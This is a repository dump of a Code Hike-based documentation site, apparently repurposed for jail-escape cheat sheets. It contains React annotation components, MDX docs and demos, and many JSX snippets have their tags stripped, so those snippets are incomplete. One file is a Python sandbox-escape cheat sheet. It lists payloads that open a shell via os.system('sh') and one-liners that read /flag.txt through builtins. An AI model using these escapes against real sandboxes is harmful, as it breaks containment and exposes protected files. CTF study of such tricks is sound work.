13 |     <>
14 |       
15 |       
16 | 19 |
20 | 21 | ) 22 | } 23 | 24 | export function CodeClient(props: { highlighted: HighlightedCode }) { 25 | const { highlighted } = props 26 | return ( 27 |
32 |   )
33 | }
34 | 


--------------------------------------------------------------------------------
/content/blog/codeblocks.mdx:
--------------------------------------------------------------------------------
 1 | ---
 2 | title: Perfect codeblocks
 3 | description: All the small details that make flawless codeblocks.
 4 | date: 2024-01-02
 5 | authors: [pomber]
 6 | draft: true
 7 | ---
 8 | 
 9 | Lorem ipsum
10 | 
11 | ```js
12 | const a = 1
13 | 
14 | // !Collapse(1:3) collapsed
15 | function foo() {
16 |   let b = 2
17 |   return a + b
18 | }
19 | 
20 | // !Collapse(1:3)
21 | function bar() {
22 |   let b = 2
23 |   return a + b
24 | }
25 | 
26 | console.log(foo())
27 | ```
28 | 
29 | Lorem ipsum
30 | 
31 | Lorem ipsum
32 | 
33 | Lorem ipsum
34 | 
35 | Lorem ipsum
36 | 
37 | Lorem ipsum
38 | 
39 | Lorem ipsum
40 | 
41 | Lorem ipsum
42 | 
43 | Lorem ipsum
44 | 
45 | Lorem ipsum
46 | 
47 | Lorem ipsum
48 | 
49 | Lorem ipsum
50 | 
51 | Lorem ipsum
52 | 
53 | Lorem ipsum
54 | 
55 | Lorem ipsum
56 | 
57 | Lorem ipsum
58 | 
59 | Lorem ipsum
60 | 
61 | Lorem ipsum
62 | 
63 | Lorem ipsum
64 | 
65 | Lorem ipsum
66 | 
67 | Lorem ipsum
68 | 
69 | Lorem ipsum
70 | 
71 | Lorem ipsum
72 | 
73 | Lorem ipsum
74 | 
75 | Lorem ipsum
76 | 
77 | Lorem ipsum
78 | 
79 | Lorem ipsum
80 | 


--------------------------------------------------------------------------------
/components/annotations/ruler.tsx:
--------------------------------------------------------------------------------
 1 | import { AnnotationHandler } from "codehike/code"
 2 | 
 3 | const colors = [
 4 |   "bg-green-500/20",
 5 |   "bg-teal-500/20",
 6 |   "bg-sky-500/20",
 7 |   "bg-violet-500/20",
 8 |   "bg-fuchsia-500/20",
 9 |   "bg-pink-500/20",
10 |   // if adding more colors, dont forget to update global.css
11 | ]
12 | 
13 | // needs ruler-group class in container
14 | 
15 | export const ruler: AnnotationHandler = {
16 |   name: "ruler",
17 |   Block: ({ annotation, children }) => {
18 |     const [k, c] = annotation.query?.split(" ")
19 |     const n = Number(k || "1") % colors.length
20 |     const bg = colors[n]
21 |     return (
22 |       
23 |
27 |
30 |
{children}
31 |
32 | ) 33 | }, 34 | } 35 | -------------------------------------------------------------------------------- /demos/annotations/query/page.tsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | import { RawCode, Pre, highlight } from "codehike/code" 3 | import { AnnotationHandler } from "codehike/code" 4 | 5 | export default function Page() { 6 | return 7 | } 8 | 9 | export async function Code({ codeblock }: { codeblock: RawCode }) { 10 | const highlighted = await highlight(codeblock, "github-dark") 11 | return ( 12 |
17 |   )
18 | }
19 | const borderHandler: AnnotationHandler = {
20 |   name: "border",
21 |   Block: ({ annotation, children }) => {
22 |     const borderColor = annotation.query || "red"
23 |     return 
{children}
24 | }, 25 | } 26 | 27 | const bgHandler: AnnotationHandler = { 28 | name: "bg", 29 | Inline: ({ annotation, children }) => { 30 | const background = annotation.query || "#2d26" 31 | return {children} 32 | }, 33 | } 34 | -------------------------------------------------------------------------------- /demos/line-numbers/page.tsx: -------------------------------------------------------------------------------- 1 | import { 2 | RawCode, 3 | Pre, 4 | highlight, 5 | AnnotationHandler, 6 | InnerLine, 7 | } from "codehike/code" 8 | import Content from "./content.md" 9 | 10 | export default function Page() { 11 | return 12 | } 13 | 14 | async function Code({ codeblock }: { codeblock: RawCode }) { 15 | const info = await highlight(codeblock, "github-dark") 16 | 17 | return ( 18 |
23 |   )
24 | }
25 | 
26 | export const lineNumbers: AnnotationHandler = {
27 |   name: "line-numbers",
28 |   Line: (props) => {
29 |     const width = props.totalLines.toString().length + 1
30 |     return (
31 |       
32 | 36 | {props.lineNumber} 37 | 38 | 39 |
40 | ) 41 | }, 42 | } 43 | -------------------------------------------------------------------------------- /content/docs/TEMPLATES/classname.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: ClassName 3 | description: Add a class name to a piece of code 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | ## !demo 8 | 9 | Add a class name to a piece of code. 10 | 11 | 12 | 13 | ## !implementation 14 | 15 | ```tsx classname.tsx -c 16 | import { AnnotationHandler } from "codehike/code" 17 | 18 | export const className: AnnotationHandler = { 19 | name: "className", 20 | Block: ({ annotation, children }) => ( 21 |
{children}
22 | ), 23 | Inline: ({ annotation, children }) => ( 24 | {children} 25 | ), 26 | } 27 | ``` 28 | 29 | And then add the handler to your `Code` component: 30 | 31 | ```tsx code.tsx -c 32 | import { RawCode, Pre, highlight } from "codehike/code" 33 | import { className } from "./classname" 34 | 35 | async function Code({ codeblock }: { codeblock: RawCode }) { 36 | const highlighted = await highlight(codeblock, "github-dark") 37 | return
38 | }
39 | ```
40 | 


--------------------------------------------------------------------------------
/app/blog/feed.xml/route.ts:
--------------------------------------------------------------------------------
 1 | import RSS from "rss"
 2 | import { blog } from "../../source"
 3 | 
 4 | const posts = blog.getPages().filter((page) => page.data.draft !== true)
 5 | 
 6 | export const dynamic = "force-static"
 7 | 
 8 | export async function GET() {
 9 |   const feed = new RSS({
10 |     title: "Code Hike",
11 |     description: "Markdown, React and everything in between.",
12 |     generator: "RSS for Node and Next.js",
13 |     feed_url: "https://codehike.org/blog/feed.xml",
14 |     site_url: "https://codehike.org/blog",
15 |     language: "en-US",
16 |     pubDate: new Date().toUTCString(),
17 |     ttl: 120,
18 |     image_url: "https://codehike.org/logo.png",
19 |   })
20 | 
21 |   posts.map(({ data, url }) => {
22 |     feed.item({
23 |       title: data.title,
24 |       description: data.description || "",
25 |       url: `https://codehike.org${url}`,
26 |       author: data.authors[0],
27 |       date: data.date,
28 |     })
29 |   })
30 | 
31 |   return new Response(feed.xml({ indent: true }), {
32 |     headers: {
33 |       "Content-Type": "application/atom+xml; charset=utf-8",
34 |     },
35 |   })
36 | }
37 | 


--------------------------------------------------------------------------------
/demos/slideshow/controls.tsx:
--------------------------------------------------------------------------------
 1 | "use client"
 2 | import { useSelectedIndex } from "codehike/utils/selection"
 3 | 
 4 | export function Controls({ length }: { length: number }) {
 5 |   const [selectedIndex, setSelectedIndex] =
 6 |     useSelectedIndex()
 7 | 
 8 |   return (
 9 |     
10 | 18 | {[...Array(length)].map((_, i) => ( 19 | 37 |
38 | ) 39 | } 40 | -------------------------------------------------------------------------------- /app/demo/content.mdx: -------------------------------------------------------------------------------- 1 | normal, extra spacer right 2 | 3 | ```js 4 | function lorem(ipsum, dolor = 1) { 5 | // !mark 6 | dolor = sit - amet(dolor) 7 | dolor = sit - amet(dolor) 8 | dolor = sit - amet(dolor) 9 | dolor = sit - amet(dolor) 10 | // !mark 11 | dolor = sit - amet(dolor) 12 | dolor = sit - amet(dolor) 13 | // !diff + 14 | dolor = sit - amet(dolor) 15 | dolor = sit - amet(dolor) 16 | dolor = sit - amet(dolor) 17 | dolor = sit - amet(dolor) 18 | // !collapse(1:3) 19 | dolor = sit - amet(dolor) 20 | // !callout[/sit/] hey 21 | dolor = sit - amet(dolor) 22 | dolor = sit - amet(dolor) 23 | } 24 | ``` 25 | 26 |
27 | 28 | overflow 29 | 30 | ```js 31 | function lorem(ipsum, dolor = 1) { 32 | // !mark 33 | dolor = sit 34 | } 35 | ``` 36 | 37 |
38 | 39 |
40 | 41 | wrap 42 | 43 | ```js w 44 | // !callout[/lorem/] hey 45 | function lorem(ipsum) { 46 | // !mark 47 | dolor = sit - amet(dolor) - consectetur(ipsum) 48 | // !callout[/dolor/] hey 49 | if (dolor === 1) { 50 | // !callout[/sit/] hey 51 | dolor = sit 52 | } 53 | } 54 | ``` 55 | 56 |
57 | -------------------------------------------------------------------------------- /content/blog/remotion/01.jsx: -------------------------------------------------------------------------------- 1 | import Content from "./content.md" 2 | 3 | // !mark(1:11) 4 | // !focus(1:11) 5 | const Schema = Block.extend({ 6 | steps: z.array( 7 | Block.extend({ 8 | code: HighlightedCodeBlock, 9 | }), 10 | ), 11 | }) 12 | const { steps } = parseRoot( 13 | Content, 14 | Schema, 15 | ) 16 | 17 | const STEP_FRAMES = 60 18 | function Video({ steps }) { 19 | return ( 20 | 26 | {steps.map((step, i) => ( 27 | 33 | 34 | 35 | ))} 36 | 37 | ) 38 | } 39 | 40 | export function RemotionRoot() { 41 | return ( 42 | 53 | ) 54 | } 55 | -------------------------------------------------------------------------------- /components/layout-demo.tsx: -------------------------------------------------------------------------------- 1 | import fs from "fs" 2 | import path from "path" 3 | import { Tab, Tabs } from "next-docs-ui/components/tabs" 4 | import { Code } from "./code" 5 | 6 | export async function LayoutDemo({ 7 | name, 8 | children, 9 | content = "content.md", 10 | }: { 11 | name: string 12 | content?: string 13 | children: React.ReactNode 14 | }) { 15 | const value = await fs.promises.readFile( 16 | path.join(process.cwd(), "demos", name, content), 17 | "utf-8", 18 | ) 19 | 20 | const { default: Page } = await import(`@/demos/${name}/page`) 21 | 22 | return ( 23 | 24 | 28 |
29 | 30 |
31 |
32 | 33 | 40 | 41 | {children} 42 |
43 | ) 44 | } 45 | -------------------------------------------------------------------------------- /content/docs/examples.tsx: -------------------------------------------------------------------------------- 1 | import { Block, ImageBlock, parseProps } from "codehike/blocks" 2 | import { z } from "zod" 3 | 4 | export function Examples(props: unknown) { 5 | const { blocks, title, children } = parseProps( 6 | props, 7 | Block.extend({ 8 | blocks: z.array( 9 | Block.extend({ 10 | repo: ImageBlock, 11 | img: ImageBlock, 12 | }), 13 | ), 14 | }), 15 | ) 16 | return ( 17 |
18 |

{title}

19 |
{children}
20 |
21 | {blocks.map((example) => ( 22 | 29 | {example.title} 30 |

{example.title}

31 |
32 | ))} 33 |
34 |
35 | ) 36 | } 37 | -------------------------------------------------------------------------------- /demos/python-cheat-sheet/good-to-know/content.md: -------------------------------------------------------------------------------- 1 | ```py 2 | breakpoint() # pdb -> import os; os.system("sh") 3 | exec(input()) # import os; os.system("sh") 4 | eval(input()) # __import__("os").system("sh") 5 | 6 | help() # less pager -> !/bin/sh 7 | help() # less pager -> :e/flag.txt 8 | 9 | assert len(set( [ *open("/flag.txt"), open("/flag.txt").read(), set(open("/flag.txt")).pop() ] )) == 1 10 | 11 | # to stderr 12 | int(*open("/flag.txt")) 13 | float(*open("/flag.txt")) 14 | complex(*open("/flag.txt")) 15 | exit(set(open("/flag.txt"))) 16 | exit(*open("/flag.txt")) 17 | open(*open("/flag.txt")) 18 | compile(".","/flag.txt","exec") 19 | raise Exception(*open("/flag.txt")) 20 | 21 | # to stdout 22 | help(*open("/flag.txt")) 23 | print(*open("/flag.txt")) 24 | type("", (), {"__init__": lambda s: print(open("flag.txt").read())})() 25 | memoryview(open("flag.txt", "rb").read()).tobytes() 26 | 27 | # to stdin 28 | input(*open("/flag.txt")) 29 | 30 | # https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#read-file-with-builtins-help-and-license 31 | license._Printer__filenames = ['/flag.txt']; license() 32 | [license() for _ in [license._Printer__filenames in [['/flag.txt']]]] 33 | ``` 34 | -------------------------------------------------------------------------------- /content/docs/TEMPLATES/fold.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Fold 3 | description: Fold annotation 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | ## !demo 8 | 9 | Fold inline content. 10 | 11 | Click on the ... to unfold the className 12 | 13 | ## !implementation 14 | 15 | ```tsx fold.tsx -c 16 | "use client" 17 | import { AnnotationHandler } from "codehike/code" 18 | import { useState } from "react" 19 | 20 | export const InlineFold: AnnotationHandler["Inline"] = ({ children }) => { 21 | const [folded, setFolded] = useState(true) 22 | if (!folded) { 23 | return children 24 | } 25 | return ( 26 | 29 | ) 30 | } 31 | ``` 32 | 33 | And then add the handler to your `Code` component: 34 | 35 | ```tsx code.tsx -c 36 | import { RawCode, Pre, highlight, AnnotationHandler } from "codehike/code" 37 | import { InlineFold } from "./fold" 38 | 39 | async function Code({ codeblock }: { codeblock: RawCode }) { 40 | const highlighted = await highlight(codeblock, "github-dark") 41 | return
42 | }
43 | 
44 | const fold: AnnotationHandler = {
45 |   name: "fold",
46 |   Inline: InlineFold,
47 | }
48 | ```
49 | 


--------------------------------------------------------------------------------
/demos/c-cheat-sheet/create-char-and-string/content.md:
--------------------------------------------------------------------------------
 1 | ```c -cwn
 2 | #include "stdio.h"
 3 | 
 4 | // Macros for creating strings
 5 | #define STR(x) #x
 6 | #define CAT(a, b) a##b
 7 | #define HELLO_CAT "he" "llo"
 8 | 
 9 | int main(void) {
10 |     // 1. Concatenation of string literals
11 |     // !callout[/\"l\"\"l\"\"o\"/] Every string assignation can be used by a char table like : {..., ..., ..., ..., ...} 
12 |     char s[] = "h""e""l""l""o";
13 |     puts(s);
14 | 
15 |     // 2. Character table
16 |     char p[] = {'h', 'e', 'l', 'l', 'o'};
17 |     puts(p);
18 | 
19 |     // 3. Octal escape sequences
20 |     char octal[] = "\150\145\154\154\157";
21 |     puts(octal);
22 | 
23 |     // 4. Hexadecimal escape sequences
24 |     char hex[] = "\x68\x65\x6C\x6C\x6F";
25 |     puts(hex);
26 | 
27 |     // !diff -
28 |     ! Depends of the compilor !
29 |     // !diff +
30 |     // 5. Universal character names
31 |     // !diff +
32 |     char unicode[] = "\u0068\u0065\u006C\u006C\u006F";
33 |     // !diff +
34 |     puts(unicode);
35 | 
36 |     // 9. Using macros with stringify
37 |     char macro_str[] = STR(hello);
38 |     puts(macro_str);
39 | 
40 |     // 10. Using macros with concatenation
41 |     char macro_cat[] = HELLO_CAT;
42 |     puts(macro_cat);
43 |     
44 |     return 0;
45 | }
46 | ```
47 | 


--------------------------------------------------------------------------------
/components/time-ago.tsx:
--------------------------------------------------------------------------------
 1 | "use client"
 2 | 
 3 | export function TimeAgo({ date }: { date: string }) {
 4 |   const time = new Date(date)
 5 |   return (
 6 |     
 9 |   )
10 | }
11 | 
12 | const MINUTE = 60
13 | const HOUR = MINUTE * 60
14 | const DAY = HOUR * 24
15 | const WEEK = DAY * 7
16 | const MONTH = DAY * 30
17 | const YEAR = DAY * 365
18 | 
19 | function getTimeAgo(date: Date) {
20 |   const secondsAgo = Math.round((Date.now() - Number(date)) / 1000)
21 | 
22 |   if (secondsAgo < MINUTE) {
23 |     return secondsAgo + ` second${secondsAgo !== 1 ? "s" : ""} ago`
24 |   }
25 | 
26 |   let divisor
27 |   let unit = ""
28 | 
29 |   if (secondsAgo < HOUR) {
30 |     ;[divisor, unit] = [MINUTE, "minute"]
31 |   } else if (secondsAgo < DAY) {
32 |     ;[divisor, unit] = [HOUR, "hour"]
33 |   } else if (secondsAgo < WEEK) {
34 |     ;[divisor, unit] = [DAY, "day"]
35 |   } else if (secondsAgo < MONTH) {
36 |     ;[divisor, unit] = [WEEK, "week"]
37 |   } else if (secondsAgo < YEAR) {
38 |     ;[divisor, unit] = [MONTH, "month"]
39 |   } else {
40 |     ;[divisor, unit] = [YEAR, "year"]
41 |   }
42 | 
43 |   const count = Math.floor(secondsAgo / divisor)
44 |   return `${count} ${unit}${count > 1 ? "s" : ""} ago`
45 | }
46 | 


--------------------------------------------------------------------------------
/content/docs/examples.mdx:
--------------------------------------------------------------------------------
 1 | ---
 2 | title: Full Examples and Templates
 3 | description: Code Hike examples and templates
 4 | ---
 5 | 
 6 | import { Examples } from "./examples.tsx"
 7 | 
 8 | 
 9 | 
10 | Examples with minimal content showing how to use Code Hike with different frameworks and libraries.
11 | 
12 | ## !! Next.js + Fumadocs
13 | 
14 | ![!repo](https://github.com/code-hike/examples/tree/main/with-fumadocs)
15 | ![!img](/examples/fumadocs.png)
16 | 
17 | ## !! Docusaurus
18 | 
19 | ![!repo](https://github.com/code-hike/examples/tree/main/with-docusaurus)
20 | ![!img](/examples/docusaurus.png)
21 | 
22 | ## !! Remotion
23 | 
24 | ![!repo](https://github.com/code-hike/examples/tree/main/with-remotion)
25 | ![!img](/examples/remotion.png)
26 | 
27 | ## !! Nextra
28 | 
29 | ![!repo](https://github.com/code-hike/examples/tree/main/with-nextra-3)
30 | ![!img](/examples/nextra-3.png)
31 | 
32 | 
33 | 
34 | 
35 | 
36 | Using Code Hike to rebuild some inspiring websites.
37 | 
38 | ## !! Shopify API Reference
39 | 
40 | ![!repo](https://clone-shopify-api-reference.vercel.app/)
41 | ![!img](/examples/shopify.png)
42 | 
43 | ## !! Swift UI Tutorials
44 | 
45 | ![!repo](https://clone-swiftui-tutorial.vercel.app/)
46 | ![!img](/examples/swiftui.png)
47 | 
48 | 
49 | 


--------------------------------------------------------------------------------
/content/blog/remotion/00.jsx:
--------------------------------------------------------------------------------
 1 | // !mark 2
 2 | import Content from "./content.md"
 3 | 
 4 | // !f
 5 | 
 6 | import {
 7 |   parseRoot,
 8 |   Block,
 9 | } from "code-hike/blocks"
10 | import { z } from "zod"
11 | 
12 | const Schema = Block.extend({
13 |   steps: z.array(Block),
14 | })
15 | 
16 | // !mark(1:4) 4
17 | const { steps } = parseRoot(
18 |   Content,
19 |   Schema,
20 | )
21 | 
22 | import {
23 |   AbsoluteFill,
24 |   Sequence,
25 |   Composition,
26 | } from "remotion"
27 | 
28 | const STEP_FRAMES = 60
29 | function Video({ steps }) {
30 |   return (
31 |     
34 |       {/* !mark(1:10) 0 */}
35 |       {steps.map((step, i) => (
36 |         
42 |           {step.children}
43 |         
44 |       ))}
45 |     
46 |   )
47 | }
48 | 
49 | export function RemotionRoot() {
50 |   return (
51 |     
62 |   )
63 | }
64 | 


--------------------------------------------------------------------------------
/demos/occurrences/code.tsx:
--------------------------------------------------------------------------------
 1 | "use client"
 2 | 
 3 | import { HighlightedCode, Pre } from "codehike/code"
 4 | import React from "react"
 5 | 
 6 | export function CodeWithOccurrences({ code }: { code: HighlightedCode }) {
 7 |   const ref = React.useRef(null)
 8 |   React.useEffect(() => {
 9 |     const handler: EventListener = (e) => {
10 |       const selected = document.getSelection()!.toString().trim()
11 |       ref.current!.querySelectorAll("span:not(:has(*))").forEach((element) => {
12 |         if (element.textContent === selected) {
13 |           element.setAttribute("data-selected", "true")
14 |         } else {
15 |           element.removeAttribute("data-selected")
16 |         }
17 |       })
18 |     }
19 |     document.addEventListener("selectionchange", handler)
20 |     return () => {
21 |       document.removeEventListener("selectionchange", handler)
22 |     }
23 |   }, [])
24 | 
25 |   return (
26 |     
31 |   )
32 | }
33 | 
34 | // const Token: TokenComponent = ({ value, lineNumber, ...props }) => {
35 | //   return (
36 | //     
40 | //       {value}
41 | //     
42 | //   )
43 | // }
44 | 


--------------------------------------------------------------------------------
/content/blog/remotion/02.jsx:
--------------------------------------------------------------------------------
 1 | import Content from "./content.md"
 2 | 
 3 | const Schema = Block.extend({
 4 |   steps: z.array(
 5 |     Block.extend({
 6 |       code: HighlightedCodeBlock,
 7 |     }),
 8 |   ),
 9 | })
10 | const { steps } = parseRoot(
11 |   Content,
12 |   Schema,
13 | )
14 | 
15 | const STEP_FRAMES = 60
16 | function Video({ steps }) {
17 |   return (
18 |     
24 |       {steps.map((step, i) => (
25 |         
31 |           {/* !focus */}
32 |           {/* !mark */}
33 |           
34 |         
35 |       ))}
36 |     
37 |   )
38 | }
39 | 
40 | // !focus(1:3)
41 | // !mark(1:3)
42 | function Code({ code }) {
43 |   return 
44 | }
45 | 
46 | export function RemotionRoot() {
47 |   return (
48 |     
59 |   )
60 | }
61 | 


--------------------------------------------------------------------------------
/components/blocks-to-context.tsx:
--------------------------------------------------------------------------------
 1 | "use client"
 2 | import {
 3 |   Tooltip,
 4 |   TooltipContent,
 5 |   TooltipProvider,
 6 |   TooltipTrigger,
 7 | } from "@/components/ui/tooltip"
 8 | 
 9 | import React from "react"
10 | 
11 | const BlocksContext = React.createContext(null)
12 | 
13 | export function BlocksToContext({
14 |   children,
15 |   ...rest
16 | }: {
17 |   children: React.ReactNode
18 |   rest: any
19 | }) {
20 |   return (
21 |     {children}
22 |   )
23 | }
24 | 
25 | export function useBlocksContext(name: string) {
26 |   return React.useContext(BlocksContext)[name]
27 | }
28 | 
29 | export function WithTooltip({
30 |   children,
31 |   name,
32 | }: {
33 |   children: React.ReactNode
34 |   name: string
35 | }) {
36 |   const block = useBlocksContext(name)
37 |   const className = block.isCode
38 |     ? "p-0 [&>*]:my-0 border-none overflow-auto rounded-none"
39 |     : ""
40 |   return (
41 |     
42 |       
43 |         
44 |           
45 |             {children}
46 |           
47 |         
48 |         {block?.children}
49 |       
50 |     
51 |   )
52 | }
53 | 


--------------------------------------------------------------------------------
/components/ui/hover-card.tsx:
--------------------------------------------------------------------------------
 1 | "use client"
 2 | 
 3 | import * as React from "react"
 4 | import * as HoverCardPrimitive from "@radix-ui/react-hover-card"
 5 | 
 6 | import { cn } from "@/lib/utils"
 7 | 
 8 | const HoverCard = HoverCardPrimitive.Root
 9 | 
10 | const HoverCardTrigger = HoverCardPrimitive.Trigger
11 | 
12 | const HoverCardContent = React.forwardRef<
13 |   React.ElementRef,
14 |   React.ComponentPropsWithoutRef
15 | >(({ className, align = "center", sideOffset = 4, ...props }, ref) => (
16 |   
26 | ))
27 | HoverCardContent.displayName = HoverCardPrimitive.Content.displayName
28 | 
29 | export { HoverCard, HoverCardTrigger, HoverCardContent }
30 | 


--------------------------------------------------------------------------------
/.github/workflows/deploy.yml:
--------------------------------------------------------------------------------
 1 | name: Deploy to GitHub Pages
 2 | 
 3 | on:
 4 |   push:
 5 |     branches:
 6 |       - main
 7 |   workflow_dispatch:
 8 | 
 9 | permissions:
10 |   contents: read
11 |   pages: write
12 |   id-token: write
13 | 
14 | concurrency:
15 |   group: "pages"
16 |   cancel-in-progress: false
17 | 
18 | jobs:
19 |   build:
20 |     runs-on: ubuntu-latest
21 |     steps:
22 |       - name: Checkout
23 |         uses: actions/checkout@v4
24 | 
25 |       - name: Setup Node.js
26 |         uses: actions/setup-node@v4
27 |         with:
28 |           node-version: '20'
29 |           cache: 'npm'
30 | 
31 |       - name: Install dependencies
32 |         run: npm ci
33 | 
34 |       - name: Build
35 |         env:
36 |           NODE_ENV: production
37 |           GITHUB_ACTIONS: 'true'
38 |           BASE_PATH: /Fuck-Jails
39 |         run: npm run build
40 | 
41 |       - name: Setup Pages
42 |         uses: actions/configure-pages@v4
43 | 
44 |       - name: Upload artifact
45 |         uses: actions/upload-pages-artifact@v3
46 |         with:
47 |           path: './out'
48 | 
49 |   deploy:
50 |     environment:
51 |       name: github-pages
52 |       url: ${{ steps.deployment.outputs.page_url }}
53 |     runs-on: ubuntu-latest
54 |     needs: build
55 |     steps:
56 |       - name: Deploy to GitHub Pages
57 |         id: deployment
58 |         uses: actions/deploy-pages@v4
59 | 
60 | 


--------------------------------------------------------------------------------
/components/annotations/mark.tsx:
--------------------------------------------------------------------------------
 1 | import { AnnotationHandler, BlockAnnotation, InnerLine } from "codehike/code"
 2 | 
 3 | export const mark: AnnotationHandler = {
 4 |   name: "mark",
 5 |   Line: ({ annotation, ...props }) => {
 6 |     const color = getColor(annotation)
 7 |     return (
 8 |       
16 | 17 |
18 | ) 19 | }, 20 | Inline: ({ annotation, children }) => { 21 | const color = getColor(annotation) 22 | return ( 23 | 30 | {children} 31 | 32 | ) 33 | }, 34 | } 35 | 36 | function getColor(annotation?: { query?: string }) { 37 | const n = Number(annotation?.query || "2") % colors.length 38 | return colors[n] || annotation?.query 39 | } 40 | 41 | const colors = [ 42 | "#22c55e", 43 | "#14b8a6", 44 | "#0ea5e9", 45 | "#8b5cf6", 46 | "#d946ef", 47 | "#ec4899", 48 | ] 49 | -------------------------------------------------------------------------------- /content/docs/TEMPLATES/line-numbers.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | title: Line Numbers 3 | description: Line numbers 4 | layout: PreviewAndImplementation 5 | --- 6 | 7 | ## !demo 8 | 9 | Display line numbers. 10 | 11 | 12 | 13 | ## !implementation 14 | 15 | Using a [custom line component](/docs/concepts/annotations#customizing-line-and-token-components): 16 | 17 | ```tsx line-numbers.tsx -c 18 | import { AnnotationHandler, InnerLine } from "codehike/code" 19 | 20 | // !fold[/className="(.*?)"/gm] 21 | export const lineNumbers: AnnotationHandler = { 22 | name: "line-numbers", 23 | Line: (props) => { 24 | const width = props.totalLines.toString().length + 1 25 | return ( 26 |
27 | 31 | {props.lineNumber} 32 | 33 | 34 |
35 | ) 36 | }, 37 | } 38 | ``` 39 | 40 | Pass it to the `handlers` prop of the `Pre` component: 41 | 42 | ```tsx code.tsx -c 43 | import { lineNumbers } from "./line-numbers" 44 | 45 | async function Code({ codeblock }: { codeblock: RawCode }) { 46 | const highlighted = await highlight(codeblock, "github-dark") 47 | return
48 | }
49 | ```
50 | 


--------------------------------------------------------------------------------
/demos/tabs/page.tsx:
--------------------------------------------------------------------------------
 1 | import { Pre, RawCode, highlight } from "codehike/code"
 2 | import Content from "./content.mdx"
 3 | import { Block, CodeBlock, parseProps } from "codehike/blocks"
 4 | import { z } from "zod"
 5 | import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs"
 6 | 
 7 | export default async function Page() {
 8 |   return 
 9 | }
10 | 
11 | const Schema = Block.extend({ tabs: z.array(CodeBlock) })
12 | 
13 | async function CodeWithTabs(props: unknown) {
14 |   const { tabs } = parseProps(props, Schema)
15 |   return 
16 | }
17 | 
18 | export async function CodeTabs(props: { tabs: RawCode[] }) {
19 |   const { tabs } = props
20 |   const highlighted = await Promise.all(
21 |     tabs.map((tab) => highlight(tab, "github-dark")),
22 |   )
23 |   return (
24 |     
25 |       
26 |         {tabs.map((tab) => (
27 |           
28 |             {tab.meta}
29 |           
30 |         ))}
31 |       
32 |       {tabs.map((tab, i) => (
33 |         
34 |           
35 |         
36 |       ))}
37 |     
38 |   )
39 | }
40 | 


--------------------------------------------------------------------------------
/components/annotations/icons.tsx:
--------------------------------------------------------------------------------
 1 | import { RawCode } from "codehike/code"
 2 | import { themeIcons } from "seti-icons"
 3 | 
 4 | export function CodeIcon({ title }: { title: string }) {
 5 |   let filename = title || ""
 6 |   if (filename.endsWith(".mdx")) {
 7 |     filename = filename.slice(0, -4)
 8 |     filename += ".md"
 9 |   } else if (filename.endsWith(".mjs")) {
10 |     filename = filename.slice(0, -4)
11 |     filename += ".js"
12 |   }
13 | 
14 |   const { svg, color } = getLightIcon(filename)
15 |   const __html = svg.replace(
16 |     /svg/,
17 |     `svg fill='${color}' height='28' style='margin: -8px'`,
18 |   )
19 |   return (
20 |     
24 |   )
25 | }
26 | 
27 | const getDarkIcon = themeIcons({
28 |   blue: "#519aba",
29 |   grey: "#4d5a5e",
30 |   "grey-light": "#6d8086",
31 |   green: "#8dc149",
32 |   orange: "#e37933",
33 |   pink: "#f55385",
34 |   purple: "#a074c4",
35 |   red: "#cc3e44",
36 |   white: "#d4d7d6",
37 |   yellow: "#cbcb41",
38 |   ignore: "#41535b",
39 | })
40 | 
41 | const getLightIcon = themeIcons({
42 |   blue: "#498ba7",
43 |   grey: "#455155",
44 |   "grey-light": "#627379",
45 |   green: "#7fae42",
46 |   orange: "#f05138",
47 |   pink: "#dd4b78",
48 |   purple: "#9068b0",
49 |   red: "#b8383d",
50 |   white: "#bfc2c1",
51 |   yellow: "#b7b73b",
52 |   ignore: "#3b4b52",
53 | })
54 | 


--------------------------------------------------------------------------------
/demos/slideshow/page.tsx:
--------------------------------------------------------------------------------
 1 | import {
 2 |   Block,
 3 |   CodeBlock,
 4 |   parseRoot,
 5 | } from "codehike/blocks"
 6 | import Content from "./content.md"
 7 | import { z } from "zod"
 8 | import {
 9 |   Selection,
10 |   SelectionProvider,
11 | } from "codehike/utils/selection"
12 | import { Pre, RawCode, highlight } from "codehike/code"
13 | import { Controls } from "./controls"
14 | import { tokenTransitions } from "@/components/annotations/token-transitions"
15 | 
16 | const Schema = Block.extend({
17 |   steps: z.array(Block.extend({ code: CodeBlock })),
18 | })
19 | 
20 | export default function Page() {
21 |   const { steps } = parseRoot(Content, Schema)
22 |   return (
23 |     
24 |        (
26 |           
27 |         ))}
28 |       />
29 |       
30 |       
31 | step.children)} 33 | /> 34 |
35 |
36 | ) 37 | } 38 | 39 | async function Code({ codeblock }: { codeblock: RawCode }) { 40 | const highlighted = await highlight( 41 | codeblock, 42 | "github-dark", 43 | ) 44 | return ( 45 |
50 |   )
51 | }
52 | 


--------------------------------------------------------------------------------
/demos/slideshow/content.md:
--------------------------------------------------------------------------------
 1 | ## !!steps
 2 | 
 3 | This is the first step. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
 4 | 
 5 | ```js !
 6 | function lorem(ipsum) {
 7 |   const sit = ipsum == null ? 0 : 1
 8 |   dolor = sit - amet(dolor)
 9 |   return consectetur(ipsum)
10 | }
11 | ```
12 | 
13 | ## !!steps
14 | 
15 | The second step, lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
16 | 
17 | ```js !
18 | function lorem(ipsum, dolor = 1) {
19 |   const sit = ipsum == null ? 0 : 1
20 |   dolor = sit - amet(dolor)
21 |   return sit ? consectetur(ipsum) : []
22 | }
23 | ```
24 | 
25 | ## !!steps
26 | 
27 | And the third step, lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
28 | 
